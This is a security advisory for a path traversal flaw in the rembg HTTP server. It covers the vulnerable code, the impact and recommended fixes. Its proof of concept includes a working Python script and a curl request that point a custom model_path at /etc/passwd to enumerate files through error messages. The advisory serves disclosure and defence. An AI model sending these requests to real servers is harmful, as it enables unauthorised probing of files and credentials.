CVE-2026-40086

Description

## Summary A **path traversal vulnerability** in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious `model_path` parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages. **CWE IDs:** CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path) --- ## Details ### Vulnerable Code Flow The vulnerability exists in how the HTTP server handles the `extras` JSON parameter for custom model types (`u2net_custom`, `dis_custom`, `ben_custom`). **1. Entry Point** - [`rembg/commands/s_command.py`](https://github.com/danielgatis/rembg/blob/main/rembg/commands/s_command.py#L191-L202) ```python def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response: kwargs = {} if commons.extras: try: kwargs.update(json.loads(commons.extras)) # ❌ No validation except Exception: pass # ... session = new_session(commons.model, **kwargs) # Passes arbitrary kwargs ``` The `extras` parameter is parsed as JSON and passed directly to `new_session()` without any validation. **2. Path Handling** - [`rembg/sessions/u2net_custom.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/u2net_custom.py#L79-L83) ```python @classmethod def download_models(cls, *args, **kwargs): model_path = kwargs.get("model_path") if model_path is None: raise ValueError("model_path is required") return os.path.abspath(os.path.expanduser(model_path)) # ❌ No path validation ``` The `model_path` is returned with tilde expansion but no validation against path traversal. **3. File Read** - [`rembg/sessions/base.py`](https://github.com/danielgatis/rembg/blob/main/rembg/sessions/base.py#L34-L38) ```python self.inner_session = ort.InferenceSession( str(self.__class__.download_models(*args, **kwargs)), # Reads file # ... ) ``` The path is passed to `onnxruntime.InferenceSession()` which attempts to read and parse the file. ### Root Cause The custom model feature was designed for **CLI usage** where users already have local filesystem access. However, this feature is also exposed via the **HTTP API** without any restrictions, creating a security boundary violation. --- ## PoC ### Prerequisites - Python 3.10+ - rembg installed with CLI support: `pip install "rembg[cpu,cli]"` ### Step 1: Start the Vulnerable Server Open a terminal and run: ```bash rembg s --host 0.0.0.0 --port 7000 ``` You should see output like: ``` To access the API documentation, go to http://localhost:7000/api To access the UI, go to http://localhost:7000 ``` ### Step 2: Send the Exploit Request Open a **second terminal** and run this Python script: ```python import requests import json import urllib.parse from io import BytesIO # Minimal valid 1x1 PNG image (required for the request) MINIMAL_PNG = bytes([ 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A, 0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53, 0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41, 0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F, 0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59, 0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82 ]) # Target paths to test test_paths = [ "/etc/passwd", # System file (should exist) "/nonexistent/file.txt", # Non-existent file ] for path in test_paths: print(f"\n[*] Testing path: {path}") # Build request - extras must be in URL query string extras = json.dumps({"model_path": path}) url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}" response = requests.post( url, files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")}, data={"model": "u2net_custom"}, timeout=30 ) print(f" Status: {response.status_code}") print(f" Response: {response.text[:100]}") ``` Or use **curl** directly: ```bash # Create a minimal PNG file python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png # Send exploit request targeting /etc/passwd curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \ -F "model=u2net_custom" \ -F "file=@/tmp/test.png" ``` ### Step 3: Verify in Server Logs Go back to the **first terminal** where the server is running. You will see error messages like: ``` onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: [ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed. ``` ``` onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: [ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist ``` ### Understanding the Results | Server Log Message | What It Proves | |-------------------|----------------| | `Load model from /etc/passwd failed:Protobuf parsing failed` | ✅ File **exists and was read** by onnxruntime | | `Load model from /etc/shadow failed:Permission denied` | ✅ File **exists** but process lacks permission | | `Load model from /nonexistent/... failed. File doesn't exist` | ✅ File **does not exist** - enables enumeration | **The key proof:** The message `"Load model from /etc/passwd failed:Protobuf parsing failed"` proves that: 1. The attacker-controlled path was passed through without validation 2. `onnxruntime.InferenceSession()` attempted to **read the file contents** 3. The file was read but rejected because `/etc/passwd` is not a valid ONNX protobuf --- ## Impact ### Who is Affected? - **All users** running `rembg s` (HTTP server mode) - **Cloud deployments** where rembg is exposed as an API service - **Docker containers** running rembg server ### Attack Scenarios 1. **Information Disclosure**: Attacker enumerates sensitive files (`/etc/passwd`, `.env`, config files) 2. **Credential Discovery**: Attacker checks for common credential files 3. **Infrastructure Mapping**: Attacker discovers installed software and system configuration 4. **Denial of Service**: Attacker attempts to load very large files, exhausting memory ### What is NOT Affected? - CLI usage (`rembg i`, `rembg p`) - users already have local file access - Library usage - developers control the input --- ## Recommended Fix ### Option 1: Disable Custom Models for HTTP API (Recommended) Remove custom model types from the HTTP API session list: ```python # In s_command.py, filter out custom models ALLOWED_HTTP_MODELS = [ name for name in sessions_names if not name.endswith('_custom') ] # Use ALLOWED_HTTP_MODELS in the model parameter regex model: str = Query( regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")", default="u2net", ) ``` ### Option 2: Validate model_path Against Allowlist If custom models must be supported via HTTP: ```python import os ALLOWED_MODEL_DIRS = [ os.path.expanduser("~/.u2net"), "/app/models", # or your designated model directory ] def validate_model_path(path: str) -> str: """Validate model path is within allowed directories.""" abs_path = os.path.abspath(os.path.expanduser(path)) for allowed_dir in ALLOWED_MODEL_DIRS: allowed_abs = os.path.abspath(allowed_dir) if abs_path.startswith(allowed_abs + os.sep): return abs_path raise ValueError(f"model_path must be within allowed directories") ``` ### Option 3: Document Security Considerations At minimum, add security warnings to the documentation: ```markdown ⚠️ **Security Warning**: When running `rembg s` in production: - Do NOT expose the server directly to the internet - Use a reverse proxy with authentication - Consider disabling custom model support ``` --- ## References - **CWE-22**: [Improper Limitation of a Pathname to a Restricted Directory](https://cwe.mitre.org/data/definitions/22.html) - **CWE-73**: [External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html) - **OWASP Path Traversal**: [Path Traversal Attack](https://owasp.org/www-community/attacks/Path_Traversal) ---